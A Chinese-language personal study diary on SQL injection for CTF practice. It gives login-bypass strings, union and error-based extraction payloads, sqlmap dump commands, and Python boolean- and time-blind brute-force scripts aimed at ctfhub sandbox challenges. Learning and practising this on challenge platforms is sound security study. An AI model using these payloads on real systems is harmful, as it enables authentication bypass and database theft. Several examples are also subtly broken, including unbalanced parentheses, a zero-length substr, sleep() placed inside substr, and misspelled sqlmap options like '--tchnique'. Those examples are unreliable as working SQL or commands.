Wmm的学习日记(SQL注入基础)

这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的“恐惧”,也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的事情。

目录

SQL语法基础

sql中常见的增删查改

sql中常见的运算符介绍 

SQL注入基础

万能密码的原理和构造

原理

构造

例题

information_schema数据库

SCHEMAS表

TABLES表

COLUMNS表

应用

联合查询注入

使用类型

union 操作符

原理

列数查询

group_concat()

联合查询步骤

例题

报错注入 

使用类型

相关函数(报错函数)

报错注入步骤

例题

布尔盲注

使用类型

相关函数

原理

脚本

例题

时间盲注

使用类型

相关函数

原理

脚本

SQLMAP的使用

sqlmap的常见语法

sqlmap的抓包注入(POST传参)


SQL语法基础

sql中常见的增删查改

insert into 表名 values(字段值1,字段值2,字段值3,字段值4);【字段数和表内一致,整行插入】

insert into users values(1,'wmm',2000,'123');

insert into 表名(字段1,字段3);【选定部分字段插入】

insert into users(id,age) values(1,2000);

delete from 表名 where 字段名=字段值;【删除指定值】

delete from users where name='wmm';

select * from 表名;【查询该表下的全部信息】

select * from users;

select 列名 from 表名 where 字段名=字段值;【查找指定行】

select id from users where age=2000;

sql中常见的运算符介绍 

  注意逻辑运算符的优先级(NOT>AND>OR,XOR)

AND && 逻辑与
OR || 逻辑或
XOR ^ 逻辑异或
NOT ! 逻辑非

SQL注入基础

万能密码的原理和构造

原理

登录注册页面传入的参数会被拼接成一句sql查询语句在数据库执行,要是存在则为“真”,登录成功若是不存在,则为“假”,登录失败

Wmm的学习日记(SQL注入基础)_第1张图片

如图所示传入的参数为admin和123,在后台会拼接成:

select * from users where username='admin'and password='123';

构造

但是如果我们在输入admin和1' or 1;#

Wmm的学习日记(SQL注入基础)_第2张图片

 就会被拼接成这样

select * from users where username='admin' and password='1' or 1;(#(%23)后的被忽略)

根据优先级,我们可以知道这句话是永“真”的,得到flag 

例题

BUUCTF Easy SQL

information_schema数据库

SCHEMAS表

SCHEMAS表内存储的是该数据库下所有库名的信息,schema_name字段存储该数据库的所有库名

TABLES表

TABLES表内存储的是该数据库下所有表名的信息,table_name字段存储该数据库的所有表名,table_schema存储的是所有表对应的数据库名

COLUMNS表

COLUMNS表内存储的是该数据库下所有字段名的信息,column_name字段存储该数据库的所有字段名,table_name字段存储各个字段对应的表名,table_schema存储的是字段所在表对应的数据库名

应用

查表:
select table_name from information_schema.tables where table_schema='库名';
查字段:
select column_name from information_schema.columns where table_schema='库名' and table_name='表名';
查对应值:
select 字段 from 表名;

联合查询注入

使用类型

页面会返回查询结果

union 操作符

union 操作符用于合并两个或多个select 语句的结果集。union内部的每个select语句必须拥有相同数量的列。

原理

传参为1' union select table_name,2 from information_schema.tables where table_schema=database();到后台后会拼接成下面这样【database()代表当前数据库名称】

select * from users where id=1' union select table_name,2 from information_schema.tables where table_schema=database();

 在列数相同的前提下,会返回当前数据库内的表名。

列数查询

由于union select的前提是列数相同,我们需要知道列数才能采用联合注入;

法一 order by n:

order by n 意思是按照第n列排序

1' order by n;#

将n从1递增改变,当页面突然有回显或者报错时代表列数不对,没有第n列,说明只有n-1列。

法二 select:

1' union select * 1;
1' union select * 1,2; 
1' union select * 1,2,3;

我们可以一个一个增加直到页面有回显,查询成功

group_concat()

有些页面回显只显示一条,如果我们的结果有多条就可以用group_concat()函数将结果用一行显示,有时传入的参数要为一条不存在的数据,不然显示的就只有前面那条后面查询的数据就回显不出来了

联合查询步骤

1.确定列数

1' order by 2;#

2.确定注入的列(有些题目在1,2,3;列中只有一个位置可以有回显,我们一个一个尝试)

3.查表

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database();#

4.查字段

1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='';#

5.查值

1' union select column from table;#

例题

ctfhub 字符注入

BUUCTF LoveSql 

报错注入 

使用类型

页面会回显报错,不回显查询结果

相关函数(报错函数)

extractvalue:

extractvalue(1,concat(0x5c,database()))

执行database()所在位置的命令,将返回值以报错的形式回显到页面上

updatexml:

updatexml(0x3a,concat(1,database()),1)

 执行database()所在位置的命令,将返回值以报错的形式回显到页面上

报错注入步骤

#查表名
1 and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database())))
#查字段
1 and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema=database() and table_name='表名')))
#查值
1 and extractvalue(1,concat(0x5c,(select column from table)))
#查询语句最好加上括号防止出错

例题

ctfhub 报错注入 

布尔盲注

使用类型

没有报错没有回显,会显示是否登录成功等等

相关函数

if

if(exper,v1,v2)如果exper是对的返回v1,否则返回 v2

ascii

asscii(a)返回参数a的ascii值

substr

substr(s,start,length),返回字符串s从strat开始到length长度的字符串

用法:

if(ascii(substr(database(),1,0)=97,1,0)

如果当前的数据库第一个字母是a则if语句的值是1,反之为0

原理

1 and if(ascii(substr(database(),1,0)=97,1,0)
0 or if(ascii(substr(database(),1,0)=97,1,0)

如果if语句为真则页面显示正确,借此穷举得到信息

脚本

import string
import requests

s=string.ascii_lowercase+string.digits+'{-,}'
url="http://challenge-f175871c818d5993.sandbox.ctfhub.com:10800/?id=0||"
flag=""
for i in range(1,50):
    print(i)
    for j in s :
        u=url+"if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)%23".format(i,j)
        r=requests.get(u)
#如果页面回显正确
        if "query_success" in r.text:
            flag+=j
            print(flag)
            break

例题

ctfhub 布尔注入 

时间盲注

使用类型

什么回显都没有

相关函数

if

if(exper,v1,v2)如果exper是对的返回v1,否则返回 v2

ascii

asscii(a)返回参数a的ascii值

substr

substr(s,start,length),返回字符串s从strat开始到length长度的字符串

sleep()

sleep(1)页面刷新或者回显晚1秒

原理

1 and if(ascii(substr(database(),sleep(1),0)=97,1,0)
0 or if(ascii(substr(database(),sleep(1),0)=97,1,0)

如果if语句是对的页面刷新会晚1秒, 借此穷举得到信息

脚本

import string
import time

import requests

s=string.ascii_lowercase+string.digits+'{-,}'
url="http://challenge-5e11302ef8a9c63a.sandbox.ctfhub.com:10800/?id=0||"
flag=""
for i in range(1,50):
    print(i)
    for j in s :
        u=url+"if(substr((select flag from flag),{0},1)='{1}',sleep(1),0)%23".format(i,j)
        t1=time.time()
        r=requests.get(u)
        t2=time.time()
        if t2-t1>1:
            flag+=j
            print(flag)
            break

SQLMAP的使用

sqlmap的常见语法

获取库名
python sqlmap.py -u "url" --dbs
获取表名
python sqImap.py -u "url" -D database --tables
获取列名
python sqlmap.py -u "url" -D database -T tablename --columns
获取字段名
python sqlmap.py -u "url" -D database -T tablename -C columnname --dump
用时间注入的方式得到字段名
python sqlmap.py -u "url" --tchnique=T -D database -T tablename -C columnname --dump
线程为10的时间注入得到字段名
python sqlmap.py -u "url" --tchnique=T thread=10 -D database -T tablename -C columnname --dump

sqlmap的抓包注入(POST传参)

1.传参抓包

Wmm的学习日记(SQL注入基础)_第3张图片

2.将要注入的部分打上*用txt存储

Wmm的学习日记(SQL注入基础)_第4张图片

 3.用sqlmap

python sqlmap.py -r 文件的绝对路径

你可能感兴趣的:(sql,学习,数据库,web安全)